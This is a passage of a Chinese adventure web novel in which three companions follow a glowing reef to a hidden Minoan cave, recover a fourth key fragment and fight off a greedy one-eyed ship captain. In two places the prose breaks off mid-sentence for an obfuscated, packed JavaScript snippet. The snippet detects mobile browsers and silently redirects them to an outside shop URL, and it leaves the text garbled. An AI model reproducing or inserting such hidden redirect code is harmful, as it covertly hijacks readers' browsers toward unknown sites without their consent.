“不知道。”她最终诚实地说,语气里带着一丝罕见的茫然,“至少先活到有机会选的时候再说。” 阿尔克提斯似乎对这个答案并不意外,她点了点头,不再说话,只是添了根柴火。 时间在等待中缓慢流逝。余茶在草药和疲惫的双重作用下昏昏沉沉,半睡半醒间,似乎听到远处传来若有若无的、类似海螺号的悠长声响,但很快又被风声掩盖。 日头逐渐西斜,木屋内的光线暗淡下来。就在余茶开始怀疑利诺斯是否遭遇不测或再次背叛时,木屋外传来了约定的、模仿夜鸟的三声短促呼哨。 阿尔克提斯瞬间警惕,握紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226090|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长棍靠近门边,低声回应。 门被轻轻推开,利诺斯闪身进来,带着一身夜露的寒气。他看起来比离开时更加疲惫,但眼神明亮。 “谈妥了?”阿尔克提斯问。 “代价不菲。”利诺斯呼出一口气,“一条快船,船主是个独眼的罗德岛人,跑黑货的。他要的不是钱,是‘独家消息’。我告诉他,矿坑坍塌是因为挖到了米诺斯人的地下祭坛,里面有指向‘海神宝藏’的线索,就在南湾礁石迷宫某处。克里同正在封锁消息,想独吞。他信了一半,另一半是冲着‘给克里同添堵’去的。夜最深时有条船会在‘黑鳍湾’等我们,只等一刻钟,过时不候。” 黑鳍湾是岛屿南侧一个极其隐蔽的小水湾,多暗礁,只有熟悉水路的老手敢在夜间靠近。 “他怎么保证不出卖我们?”阿尔克提斯追问。 “他不需要出卖,他自己就想分一杯羹。我暗示我们手上有更精确的‘指引’,需要他带我们进去。到了地方,各凭本事。”利诺斯扯了扯嘴角,“当然,他也有可能一到地方就把我们扔下海,自己去找。这就是赌注。” 典型的与虎谋皮。但眼下别无选择。 “能走吗?”利诺斯看向余茶。 余茶在阿尔克提斯的搀扶下试图站起,脚踝刚一用力,剧痛让她眼前一黑,冷汗瞬间冒出。 “我背她。”阿尔克提斯果断地说,将余茶的手臂搭在自己肩上。 “还是我来吧,大祭司。您需要保持体力应付可能的麻烦。”利诺斯上前,不由分说地将余茶背起。他的动作意外地平稳,避开了她受伤的脚。余茶僵硬了一瞬,这种完全的依赖让她极度不适,但此刻也由不得她。 三人再次潜入夜色。利诺斯对路径的熟悉超乎想象,他避开所有可能暴露的小径和开阔地,在密林和岩缝中穿行。阿尔克提斯在前方警惕开路。 午夜时分,他们抵达了黑鳍湾。这是一个被高耸黑色崖壁环抱的狭窄水湾,海水在月光下呈现墨蓝色,拍打着嶙峋的礁石,发出空洞的回响。空气中咸腥味浓重。 一艘狭长的、船身黝黑的快船静静地泊在湾内最深的阴影里,没有灯火,像一头潜伏的海兽。船头站着一个高大的身影,一只眼罩在月光下泛着冷光。 利诺斯打了个手势。独眼船主也回了个手势,示意他们上船。 没有多余的寒暄。利诺斯背着余茶率先跳上摇晃的甲板,阿尔克提斯紧随其后。船上除了船主,还有两名沉默寡言、肌肉结实的水手,目光警惕地打量着他们。 “指路。”独眼船主的声音粗嘎,言简意赅。 阿尔克提斯站在船头,借着月光和船主提供的一张简陋手绘海图,结合脑海中的记忆和地图,开始指引方向。快船像幽灵般滑出黑鳍湾,驶入开阔的海面,朝着南方那一片在月光下显得朦胧而嶙峋的阴影——南湾礁石迷宫驶去。 夜风凛冽,海浪起伏。船只在沉默中疾行,只有船头破浪的声音和帆索的吱呀声。余茶被安置在船尾角落里,裹着水手递过来的充满鱼腥味的旧毯子。她看着漆黑的海面和远处逐渐清晰的、如同怪兽牙齿般林立的礁石轮廓,心中没有任何浪漫或冒险的感怀,只有冰冷的评估:这片迷宫,是下一个陷阱,还是转机?那独眼船主和他的手下,何时会翻脸?地脉的下一波扰动,又会以何种方式降临在这片波涛之下? 阿尔克提斯全神贯注地指引航向,利诺斯则靠在船舷,似乎闭目养神,但余茶注意到,他的手始终离腰间的匕首很近。 就在船只逐渐接近那片令人望而生畏的礁石区域时,异象再生! 原本在月光下正常墨蓝的海水,在靠近某片特定礁石群时,突然开始泛起一片片诡异的、蓝绿色的荧光。那光芒如同活物,随着波浪起伏、扩散,将黑色的礁石映照得鬼影幢幢。不仅如此,海水下方深处,似乎也有规律的光芒在明灭闪烁,与海面的荧光呼应。 “是‘亡灵潮’!”一名水手低声惊呼,声音带着恐惧。 独眼船主也冲到船边,独眼死死盯着那发光的海水,脸上神色变幻不定。这种景象显然超出了寻常的海洋发光生物现象。 阿尔克提斯却紧紧抓住了船舷,眼中映着那诡异的蓝绿光芒,低声对利诺斯和余茶道:“是地脉能量……渗透到了海水里。这个节点……是‘七眼’中可能与海洋关联最深的一个!‘礁石迷宫’……恐怕不只是石头。” 她的声音被海风吞没大半。而船主在最初的震惊后,眼中贪婪的光芒更盛:“宝藏的征兆!就在下面!快,靠过去!找入口!” 船只开始小心翼翼地驶向那片发光最强烈的礁石区域。而余茶看着那非自然的、令人心悸的美丽光芒,心中只有一个念头:这片发光的海,究竟是通往下一个碎片的大门,还是……吞噬一切的,美丽的坟墓? 20. 荧光下的抉择 蓝绿色的荧光如同有生命的瘟疫,在墨黑的海面上无声蔓延、流淌。它们并非均匀散开,而是沿着特定的水道、环绕着特定的礁石,勾勒出一幅诡异律动的光之地图。海水下的光芒更深邃,明灭节奏缓慢,仿佛巨兽沉睡中的呼吸。空气里除了咸腥,多了一种难以言喻的、类似臭氧和潮湿金属混合的清冽刺激气味。 “稳住舵!跟着光带边缘走,别进漩涡!”独眼船主粗嘎的嗓音在诡异的寂静中格外刺耳。他脸上的贪婪被一种混杂着恐惧与极度兴奋的紧张取代,独眼死死盯着前方光海,右手下意识按住了腰间弯刀的刀柄。 快船像一片小心翼翼的落叶,贴着荧光区域的边缘滑行。发光海水与正常海水的界限时而模糊,时而清晰如刀切。偶尔有发光的浮游物被浪花溅上甲板,像一摊摊迅速黯淡的冷火,引来水手们惊恐的低呼。 阿尔克提斯站在船头,任凭海风吹乱她的头发。她不再看简陋的海图,而是全神贯注地观察着荧光分布的形态、明灭的规律,以及礁石的走势。她的嘴唇无声翕动,似乎在默念着什么古老的韵律或口诀。她在聆听,用祭司的方式,聆听这片被地脉能量“污染”的海域的低语。 利诺斯守在余茶所在的角落,看似放松,但身体姿态像绷紧的弓弦。他余光留意着船主和水手的每一个动作,手指看似随意地搭在船舷上,离隐蔽的匕首只有寸许。余茶裹紧充满鱼腥味的毯子,寒意和脚痛让她脸色苍白,但眼睛却紧紧追随着那些荧光。不自然的美丽往往意味着异常的风险。她在脑中快速调取着有限的知识:生物荧光?但规模和规律性不像。化学发光?何种物质能如此大规模、有指向性地出现?她的结论和阿尔克提斯一样——与地脉能量外泄直接相关。 “左满舵!绕过那块鲸头石!”船主突然大吼。前方,一块形似鲸鱼头颅的巨大礁石挡住了去路,礁石周围的海水荧光格外强烈,甚至隐隐有细微的电弧般的光芒在跳跃、爆裂。 船只险险擦过礁石。就在经过的刹那,余茶似乎看到,在那鲸头石面向内侧的、被阴影和水线遮掩的部分,有人工开凿的痕迹——几个规则的方形凹槽,里面似乎曾经镶嵌过什么。 “那里。”她抬手指去,声音不大,但足够让阿尔克提斯听见。 阿尔克提斯也看到了。她眼神一凝,对船主道:“绕着这块大礁石转一圈,慢一点。” 船主狐疑地看了看她们,又看了看那看似平常的礁石阴影面,挥手下令。船只减速,缓缓绕行。 靠近了,看得更清楚。那些凹槽排列成一种简单的几何图案,像是一种导向或定位标记。凹槽内空空如也,覆盖着厚厚的牡蛎和藤壶。而在礁石底部与海面交界处,荧光异常浓郁的地方,海水似乎呈现出一种不自然的向内凹陷的流动感,仿佛下面有吸力。 “水下有入口。”阿尔克提斯断言,语气肯定。“这些凹槽是指示,也是固定某种引导装置用的。能量从那里泄露得最明显。” 船主凑过来,独眼放光:“入口?通往宝藏?” “通往下一个‘节点’。”阿尔克提斯纠正道,谨慎地选择词汇,“也可能有古代遗物。但下面情况不明,能量活跃,非常危险。” “危险?”船主咧嘴笑了,露出黑褐色磨损严重的牙齿,“我在海中闯荡,什么危险没见过?有宝贝的地方才危险!”他转身对水手吼道,“准备锚定!我要下去看看!” “不行。”阿尔克提斯拦住他,声音沉稳却带着不容置疑的力量,“下面的能量不稳定,胡乱触碰可能引发更大的喷发,我们所有人,连同你的船,都可能葬身于此。” “那你说怎么办?”船主不耐烦地按着刀柄,“就看着?” 阿尔克提斯看向那幽深发光的海水,又看了看余茶和利诺斯,最后目光落在自己怀中用布包裹的碎片上。“需要先稳定这个节点的能量外泄,至少降低到可以安全探索的程度。这需要……特定的方法。” “什么方法?要多久?” 阿尔克提斯沉默了片刻。她在快速权衡。说出方法,可能暴露更多秘密;不说,船主可能蛮干。最终,她选择部分坦诚:“需要用到我们找到的‘古物’的一部分,配合正确的……仪式,尝试引导或安抚这些溢出的能量。时间无法确定,可能很快,也可能无效甚至适得其反。” 船主眯起独眼,在阿尔克提斯平静的脸上、利诺斯戒备的姿态以及余茶苍白的病容之间来回扫视。他显然不信什么“仪式”,但他嗅到了“古物”和“方法”的价值。 “好!”他忽然一拍船舷,“你们搞你们的‘仪式’。我的人盯着。要是成了,下面的东西,我们先下去探路,找到的,三七分。我七,你们三!要是不成……”他冷哼一声,没说下去,但意思明确。 又是交易。余茶心底冷笑。在这片发光的死亡之海上,人们永远忙着划分想象中的利益。 阿尔克提斯没有讨价还价,只是点了点头。她需要船主暂时按捺住贪婪,争取时间和相对稳定的环境。 她让船主将船停在距离鲸头石约三十步、相对荧光较弱、水流较平稳的海域。船主则派了那两名强壮的水手持弯刀在船舷边监视。 小艇摇摇晃晃地靠近鲸头石。近在咫尺,那海水的荧光更加夺目,光芒几乎有些刺眼,那股清冽刺激的气味也更浓。海水的温度似乎比周围略高一点。 阿尔克提斯在小艇上盘膝坐下,将三块碎片取出,放在身前。她示意利诺斯和余茶分别坐在她左右后方。她没有点火,没有诵唱宏大的咒文,而是闭上了眼睛,双手分别轻按在石台钥匙和铜耙子上,开始以一种极低沉的、几乎只是气流摩擦声带的音调哼唱。那调子古怪,没有明确的旋律,更像是在模仿海浪冲刷礁石孔隙、地底风声穿过岩洞的天然声响。 起初,什么也没有发生。只有荧光海水单调地起伏,水手们不耐地张望。 但渐渐地,余茶感觉到身下的小艇传来极其细微的、不同于海浪摇晃的震颤。那震颤的节奏,与阿尔克提斯哼唱的节奏,隐隐产生着某种共振。她掌下的小艇木板,甚至开始微微发热。 阿尔克提斯的哼唱声调逐渐提高,变得更加清晰,仿佛在与某种看不见的力量对话、协商。她按在碎片上的手指微微颤抖,额头渗出细密的汗珠。 突然,她面前的海水荧光,猛地明亮了一倍! 并非爆炸般闪耀,而是整体亮度提升,光芒更加凝实,蓝绿色中甚至透出一丝白炽的边缘。同时,海面开始出现细小的、方向混乱的漩涡和逆流,小艇剧烈摇晃起来! 船主冲到船舷边,独眼圆睁。 利诺斯稳住身体,手按在匕首上,紧盯着阿尔克提斯和周围海水。 阿尔克提斯哼唱的节奏陡然加快,变得急促而充满压力。她双手用力按紧碎片,手背上青筋暴起。汗珠顺着她的脸颊滚落。 “她在……引导能量?”余茶猜测。不是安抚,更像是将散乱溢出的能量,短暂地聚集、约束到某个更集中的区域? 仿佛印证她的想法,周围大面积的荧光开始以肉眼可见的速度向鲸头石底部的那个疑似入口处汇聚、收缩。就像退潮一般,光芒从四周海面抽离,汇成一股越发明亮、几乎呈液态光流般的带子,涌向礁石底部。那片区域的荧光亮度达到了惊人的程度,海水甚至发出低沉的“嗡嗡”声! 而随着荧光汇聚,其他区域的海水迅速黯淡下来,恢复了正常的墨黑色。只有鲸头石底部,如同点亮了一盏巨大的、蓝白色的水下明灯,将礁石和水下一定范围照得幽幽发亮。借着这汇聚后的强光,他们清晰看到,礁石底部确实有一个黑黝黑的、规则的方形洞口,约莫两人宽,海水正被一股无形的力量微微吸入其中。 “入口!真的打开了!”船主狂喜地吼着。 但阿尔克提斯的脸色却变得惨白,哼唱声开始断续,身体摇摇欲坠。这种强行引导和聚集,对她消耗巨大,且极不稳定。 “就是现在!”利诺斯低喝一声,不等阿尔克提斯指示,一把抓起三块碎片塞回她怀里,同时单手抄起船桨,对小艇另一头的水手吼道:“划过去!快!” 那水手也被眼前的异象惊呆,闻言下意识奋力划桨。小艇朝着那发光的洞口疾冲而去! “低头!”利诺斯吼道,一把按下余茶的头,小艇猛地一沉,顺着水流和那股吸力,冲进了发光的水下洞口。 眼前瞬间被蓝白光芒和冰冷的海水充斥,巨大的水压和轰鸣声袭来,小艇在狭窄的水道中疯狂颠簸、旋转,不断撞击着石壁。余茶死死抓住船舷,冰冷咸涩的海水呛入口鼻,耳朵里全是轰响。阿尔克提斯伏在艇底,紧紧抱着碎片,似乎已经力竭。利诺斯则拼命用桨和身体控制着小艇的方向,避免直接撞毁。 这是一段短暂却无比漫长的黑暗与光明的混乱穿梭。不知过了多久,或许只有十几秒,前方豁然开朗,水流变得平缓,小艇“哗啦”一声冲出了水道,进入了一个被幽蓝光芒笼罩的、巨大的地下海蚀洞穴。 洞穴一半是海水,形成一个平静的地下湾。另一半是崎岖的、从水中拔起的岩石平台。光芒来自洞穴顶部和四周岩壁上密集的发光矿物和某种奇特的、像巨大水晶簇般的透明结晶体,它们散发出柔和而稳定的蓝白色冷光,照亮了整个空间。空气潮湿,带着海水和矿物质的味道,但那种硫磺刺激味几乎消失了。 小艇漂到岩石平台边。三人狼狈不堪地爬上岸,瘫倒在冰冷的岩石上,剧烈咳嗽、喘息。小艇里进了半船水,跟来的独眼船长和水手在刚才的撞击中似乎晕了过去,趴在艇底一动不动。 阿尔克提斯挣扎着坐起,脸色依旧苍白,但眼神急切地扫视洞穴。余茶则第一时间检查自己的脚踝——浸了海水,伤口刺痛,但似乎没有进一步恶化。她撕下湿透的、已经脏污不堪的布条,就着地上不知是否干净的积水勉强冲洗了一下伤口,然后用匕首从自己破烂的希顿上割下相对最干的一块,重新包扎。 利诺斯警惕地观察着洞穴入口方向——那里是平静的水面,他们冲进来的水道口隐没在水下。 余茶包扎好伤口,也开始打量这个洞穴。平台很大,向前延伸,逐渐升高,通向洞穴深处。在平台尽头,靠近岩壁的地方,她看到了人工建筑的痕迹——一个低矮的、用粗糙石块垒砌的圆形石坛,石坛中央,立着一根断裂的、带有焦黑痕迹的石柱。石坛周围,散落着一些陶罐碎片和锈蚀的金属器具,风格与矿坑石室所见类似。 而最引人注目的是,在石坛后方平整的岩壁上,刻着一幅巨大的、保存相对完好的浮雕。 三人互相搀扶着,走向石坛和浮雕。 浮雕的内容令人震撼:中央是一个巨大的、多面的、复杂的立体符号,由螺旋、几何图形和抽象线条组成,与钥匙碎片上的局部图案惊人地相似,但更加完整、宏大。这个立体符号被七条发光的线连接向周围的七个点,每个点都刻有不同的、简化的象征物——山、火、水、树、星、兽、眼。而在浮雕底部,刻着一行较大的米诺斯线形文字A。 阿尔克提斯的手指颤抖着抚过那立体的核心符号,呼吸急促:“这就是……完整的‘钥匙’形态?或者说,是地脉能量网络的‘核心控制符’?” 余茶则被那行文字吸引。她忍着脚痛,凑近仔细辨认。文字比之前遇到的都要清晰。她默默拼读、联想、猜测、对照记忆中翻译过的碎片… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226091|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … “……‘汇聚七钥,印于此心,可听大地所言,选择自己的路径。然心亦有所求,慎,慎。’” “汇聚七把钥匙,印在这个‘心’上,就能听到大地的声音,选择自己前行的路径?但是……‘心’也有所求?要谨慎?”余茶翻译出大意,眉头紧锁。“‘心’指的是这个浮雕核心,还是……别的什么?‘有所求’是什么意思?代价?” 利诺斯的目光则落在了石坛上那根断裂的焦黑石柱,以及石坛边缘几个看似随意放置、但形状特殊的凹槽上。那些凹槽的大小和形状…… “你们看,”他指着凹槽,“像不像……用来插入东西的?比如,我们手里的碎片?” 阿尔克提斯和余茶立刻仔细比对。果然,石台钥匙的底部形状、铜耙子的某个端头,似乎都能与其中两个凹槽大致对应!而铜杯陶片……可能对应另一个! “这是……测试台?或者,激活某个局部功能的接口?”阿尔克提斯声音发紧。 “试试看。”利诺斯提议,眼神锐利。 “会不会有危险?”余茶提醒,“‘心亦有所求’,可能意味着激活它需要付出什么。” “不试,我们可能永远找不到其他碎片,也出不去。”利诺斯冷静地指出现实。 阿尔克提斯犹豫了。作为祭司,她对“有所求”的警告天然敬畏。但作为寻找者,她无法抗拒近在咫尺的答案。 最终,对真相的渴望压过了谨慎。她深吸一口气,将石台钥匙和铜耙子碎片,按照她推测的可能对应关系,小心地嵌入了石坛边缘的两个凹槽。 严丝合缝! 就在碎片嵌入的瞬间—— 石坛中央那根断裂的焦黑石柱,顶端残余的部分,突然亮起了一点极其微弱的、暗红色的光芒,如同灰烬复燃! 同时,整个洞穴的蓝白色冷光,微微波动、闪烁了一下,仿佛受到了干扰。 紧接着,那幅巨大的浮雕上,代表“火”和“眼”的两个连接点,骤然变得明亮!不是反光,而是浮雕本身似乎被注入了某种能量,散发出清晰的、稳定的白光。而其他五个点,依旧黯淡。 “它……在指示!”阿尔克提斯失声道,“这两个点被点亮了,是因为我们嵌入了对应的碎片?‘火’可能对应矿坑那个熔炉节点,‘眼’对应石峰观测点,其他点黯淡,是因为碎片缺失。” 这意味着,每一块钥匙碎片,都对应着一个特定的节点。嵌入碎片,就能在浮雕上点亮对应的点,或许还能揭示更多信息? 没等他们细想,更惊人的事情发生了。 点亮了的“火”与“眼”两个浮雕点,各自射出了一道细细的、凝实的光束,投射在洞穴一侧空旷的岩壁上。光束交织,在岩壁上形成了一幅清晰的地图虚影。正是岛屿轮廓图,但上面明确标注出了七个点的位置,以及……一条蜿蜒曲折、连接这七个点的、发光的路径。路径的起点是“眼”——石峰,经过“火”——矿坑熔炉,下一个点,正是他们所在的、代表“水”的南湾礁石节点。而路径继续延伸,指向了另外四个尚未点亮的点。 不仅如此,在代表“水”节点的位置上,地图虚影还额外显示出了一个小小的、不断闪烁的亮点,位置似乎就在这个洞穴的更深处。 “指引……这是‘循此脉’的具体路径图!”利诺斯声音带着压抑的兴奋,“那个闪烁点,可能就是在这个洞穴里存放的第四块碎片。” 希望瞬间燃起。但就在这时—— “轰!!!” 整个洞穴剧烈震动。不是来自地脉,而是来自他们进来的水道方向!巨大的暴动声和水浪冲击声传来,隐约还夹杂着人的惨叫和木材断裂的刺耳声响! “坏了,船主他们……触动了什么?”利诺斯脸色一变。 震动中,石坛上的碎片微微震颤,岩壁上的地图虚影也开始不稳定地闪烁。 “拿上碎片,去找那个闪烁点!”阿尔克提斯当机立断,迅速拔出凹槽里的两枚碎片。 三人顾不上疲惫和伤痛,朝着洞穴深处、地图虚影指示的闪烁点方向狂奔。身后,水声和混乱的人声越来越近,还伴随着船主气急败坏的怒骂。 洞穴深处错综复杂,岔路很多。他们凭借着对地图虚影方向的记忆和阿尔克提斯对能量波动的隐约感应,在迷宫般的通道中穿行。余茶的脚踝疼得几乎失去知觉,全靠意志和利诺斯的搀扶在移动。 终于,在一个布满发光水晶簇的较小洞窟尽头,他们看到了一个天然形成的石龛。石龛内,放着一个椭圆形的、由某种暗色木头和金属拼接而成的盒子,盒子上没有任何装饰,只有一把简单的石栓插着。 阿尔克提斯上前,用力拔开石栓,打开盒子。 里面垫着腐烂的绒布,绒布上,静静躺着一枚通体漆黑、非金非石、形似水滴又带着复杂内刻纹路的吊坠。吊坠的顶端,有一个小小的环扣。这显然就是第四块钥匙碎片,形态与前三个都不同。 她刚刚拿起吊坠—— “在那里!站住!”一声怒吼从身后通道传来!独眼船主带着两名浑身湿透、狼狈不堪但手持利刃的水手,满脸狰狞地追了上来!此刻眼中充满了被愚弄的愤怒和毫不掩饰的杀意! “把东西交出来!”船主弯刀出鞘,寒光闪闪。 刚刚到手的第四块碎片,瞬间成了烫手山芋,也是催命符。 阿尔克提斯手握黑色吊坠,背靠岩壁,利诺斯挡在她和余茶身前,匕首横握。余茶则死死盯着船主和他手下手中的刀,大脑飞速计算着生还的可能性,结论令人绝望。 绝境,再次以更直接、更血腥的方式,降临。 21. 我们必须上岸 黑色吊坠冰冷的触感仿佛还带着地底深处的寒意,紧紧硌在阿尔克提斯掌心。独眼船主手中的弯刀在发光水晶的映照下,折射出令人心悸的寒芒。空气里弥漫着海水的咸腥、硫磺残余的刺激、还有一丝新鲜的血腥味——来自船主和水手身上新增的伤口,也来自这洞窟尽头无处可逃的绝境。 “聪明人。”船主喘着粗气,独眼死死盯着阿尔克提斯握紧的手,脸上肌肉因愤怒和贪婪而扭曲,“把东西丢过来,乖乖跟我们回去,或许还能留你们一条贱命,在克里同那里换点赏钱。” 他身后的两名水手握着短刀,眼神凶悍,堵住了唯一的退路。他们身上有伤,动作也有些迟滞,但三对三,其中一个半残,优势依然明显。 利诺斯缓缓转动着手中的匕首,没有看船主,目光却扫过那两个水手的站位、脚下的碎石、以及侧面岩壁上一处颜色略深的凹陷。“跟你们回去?”他语气轻松,仿佛在谈论晚餐,“克里同的赏钱,够买你这艘船和所有手下的命吗?据我所知,他对‘知情者’和‘无用的俘虏’,一向很吝啬。” 他在拖延,也在试探。果然,船主眼中闪过一丝被说中心事的阴鸷。他不是克里同的忠犬,只是个想趁机捞一笔的贪婪鲨鱼。但此刻,到嘴边的肥肉和受伤的怒气压倒了一切。 “少废话!怎么处置你们,轮不到你操心!”船主向前逼近一步,弯刀指向利诺斯,“最后说一遍,东西交出来!” 阿尔克提斯缓缓抬起握着吊坠的手,声音因力竭而沙哑,却异常平静:“你拿了这个,知道怎么用吗?知道它代表什么吗?知道胡乱触碰这里的一切,会引来什么吗?”她的目光扫过船主和水手身上的伤,“外面的教训,还不够?” 水手们脸上掠过一丝恐惧,下意识看向来路——显然来路并不顺利。船主脸颊肌肉抽动,但贪婪最终盖过了疑虑。“渎神者,等我把你们捆了,自然有办法撬开你们的嘴!” 谈判破裂。利诺斯不再犹豫,在船主最后一个字落下的瞬间,他动了! 不是扑向船主,而是猛地一脚踢向地面一块松动的石块。石块飞起,精准地砸向左侧那名水手的面门。同时,他矮身疾冲,匕首划向右侧水手的下盘。声东击西,先解决较弱的帮手、 水手们反应不慢,左侧的偏头躲开石块,右侧的跳步后撤。但利诺斯的动作更快、更刁钻!他的匕首在右侧水手大腿上带出一道血口,那人痛哼一声,攻势一滞。左侧水手挥刀砍来,利诺斯灵活地侧身避开,反手一刀刺入对方肋下。不是致命伤,但足以让对手失去大半战斗力。 然而,就在利诺斯与两名水手缠斗的短短几息,船主已经狞笑着,挥刀直劈向看起来最虚弱的余茶。他看出这个瘸腿的女人是累赘,也是逼迫对方就范的突破口。 余茶瞳孔骤缩!刀光在她眼中放大,她背靠岩壁,无处可躲!脚踝的剧痛和体力的耗尽让她连侧身都做不到。 就在弯刀即将加身的刹那,一道紫色身影猛地挡在了她身前! “当——!” 金属交击的刺耳爆鸣震得余茶耳膜生疼!阿尔克提斯用她那根包铜的长棍,硬生生架住了船主势大力沉的一劈!但她本就力竭,这一下震得她虎口崩裂,长棍几乎脱手,踉跄后退,嘴角溢出一缕鲜血。 船主得势不饶人,顺势一脚踹在阿尔克提斯腹部。她闷哼一声,撞在岩壁上,滑倒在地,怀中的碎片和黑色吊坠脱手飞出,落在不远处的地面上。 “大祭司!”余茶失声喊道,挣扎着想扑过去,却被脚踝的剧痛钉在原地。 船主看都不看倒地的阿尔克提斯,独眼放光地扑向地上的碎片和吊坠。 “别碰!” 几乎在船主手指触碰到黑色吊坠的瞬间,异变陡生。 那枚看似平静的黑色吊坠,骤然爆发出刺眼的、混杂着暗红与蓝绿的光芒。一股强大的、无形的冲击力以吊坠为中心轰然扩散。 “啊——!”船主惨叫一声,整个人被弹飞出去,重重撞在岩壁上,摔落在地,握刀的手臂以一个不正常的角度扭曲,显然骨折了。他手中的弯刀“当啷”落地。 那两名与利诺斯缠斗的水手也被这股冲击波扫到,头晕目眩,动作变形。利诺斯抓住机会,匕首划过一人脖颈,反手刺入另一人心口!干净利落,两名水手瞬间毙命。 冲击波来得快,去得也快。光芒迅速收敛回吊坠内,仿佛什么都没发生过。但船主痛苦的呻吟和空气中弥漫的来自他触碰吊坠手指的焦糊味,证明着刚才的恐怖。 洞穴内瞬间安静下来,只剩下粗重的喘息和船主压抑的哀嚎。 利诺斯喘着气,警惕地看了一眼不再发光的吊坠,迅速检查了一下两名水手的死活,然后走到船主身边,用脚踢开他掉落的弯刀,蹲下身,匕首抵住他的咽喉。 “看来,有些东西,不是谁都能碰的。”利诺斯的声音冰冷。 船主满脸惊恐和痛苦,独眼中充满了不解与怨毒:“那……那是什么东西……” 阿尔克提斯艰难地撑起身体,捡回散落的碎片和那枚恢复平静的黑色吊坠。她看着吊坠,眼中是深深的忌惮和后怕。“它……在抗拒,或者说,在自我保护。只有……特定的人,或者特定的‘共鸣’,才能安全持有。”她看向利诺斯和余茶,意思不言而喻——他们三人之前接触碎片,甚至用血触发,或许已经无形中被“标记”或“认可”了。 余茶靠坐在岩壁上,心脏仍在狂跳。刚才那一幕超出了她的理解范围。能量护盾?基因锁?还是……某种基于意志或血脉的识别机制?无论是什么,都意味着这些碎片和它们背后的秘密,远比想象的更危险、更排外。 “怎么处置他?”利诺斯用匕首点了点船主的脖子。 船主吓得魂飞魄散:“别……别杀我!我……我可以带你们出去!我知道另一条离开这片礁石迷宫的水路,更隐蔽,克里同的人绝对找不到!” “哦?”利诺斯挑眉,“刚才怎么不说?” “我……我……”船主语塞。 阿尔克提斯走过来,低头看着船主。“船呢?” 船主脸色灰败:“船……船在水道口被突然的落石打坏了……” 也就是说,他们被困在了这里。船主的“另一条水路”成了唯一的希望。 “说出来。如果属实,可以饶你一命。”阿尔克提斯声音平静,却带着不容置疑的力量。 船主为了活命,立刻交代:在这洞穴的另一个岔道,有一条几乎干涸的地下暗河故道,是古代地下水流侵蚀形成的,他曾走过洞穴口附近的暗河道,确定是同一条。沿着故道向上游走,可以通到岛屿南侧一处极其隐蔽的、被瀑布掩盖的海蚀洞,从那里可以回到海岸边的山林。这是他多年前一次躲避风暴时偶然发现的秘密。 听起来像是一条可能的生路。但同样可能是一个陷阱。 “带路。”阿尔克提斯没有过多犹豫。留在这里是死路,相信船主至少有搏一把的机会。她示意利诺斯放开船主,但收缴了他身上所有武器,并用撕下的布条简单固定了他骨折的手臂。 船主忍痛起身,在利诺斯匕首的“护送”下,开始带路。阿尔克提斯搀扶起余茶,四人掉头,朝着洞穴另一个岔路进发。 洞窟通道越来越窄,地势开始向上倾斜。发光的水晶簇逐渐稀少,光线黯淡下来,他们不得不点燃了从水手尸体上找到的、用油脂浸泡过的简陋火把。空气越发潮湿闷热,那股硫磺味又隐约浮现。 果然,在一处不起眼的岩壁裂缝后,他们找到了船主说的那条地下暗河故道。河床早已干涸,只剩下光滑的卵石和厚厚的淤泥。河道曲折向上,人工开凿的痕迹与天然侵蚀的孔洞交错,显示着它可能曾被米诺斯人利用或改造过。 行走在黑暗、憋闷的故道中,只有火把摇曳的光和彼此粗重的呼吸声。船主走在最前面,因为手臂受伤和恐惧,脚步踉跄。利诺斯紧跟其后,匕首始终在他背心附近。阿尔克提斯和余茶落在后面。 余茶的脚踝每走一步都像踩在烧红的铁钉上,冷汗浸透了破烂的衣衫。她几乎将全身重量都压在阿尔克提斯身上,大脑因疼痛和缺氧而昏沉。但她强迫自己保持一丝清明,观察着周围环境,记忆着路线。将生的希望完全寄托在一个刚刚还想杀他们的俘虏身上,这本身就极度不安全。 不知走了多久,前方传来隐约的水声,越来越大。空气中硫磺味被一种清新湿润的水汽取代。船主停下脚步,指着前方一处被钟乳石和藤蔓半掩的出口:“就……就是那里。出去就是瀑布后面。” 利诺斯示意船主先出去。船主不敢反抗,弯腰钻了出去。利诺斯紧随其后。 外面光线大亮,轰隆隆的水声震耳欲聋。清新的、带着水雾的空气扑面而来。 果然是一个被巨大瀑布从后方遮掩的海蚀洞。瀑布如白练垂落,在洞口形成一道水帘,阳光透过水帘,折射出七彩的光芒。洞外下方是碧蓝的海水和嶙峋的礁石。洞口位于峭壁半腰,离海面有相当一段高度,但有粗壮的藤蔓从上方垂下,一直延伸到下方一块突出的礁石平台。 生路就在眼前。 船主脸上露出狂喜和一丝不易察觉的阴狠。他指着藤蔓:“从那里下去,跳到那块平台上,然后沿着礁石就能上岸。”他说话间,身体却微微向洞口一侧阴影处挪动。 就在他挪动的瞬间,利诺斯眼中寒光一闪,手中匕首猛地刺出! 但船主早有防备,他竟忍着骨折的剧痛,用未受伤的手猛地一推身旁一块松动的岩石,同时身体向侧面扑倒。 岩石滚落,砸向刚钻出洞口的阿尔克提斯和余茶。利诺斯的匕首刺空,因为船主的闪避和突然的变故,动作滞了一瞬。 阿尔克提斯反应极快,拉着余茶向旁边急闪。岩石擦着余茶的小腿滚落深渊,带起一阵风声。 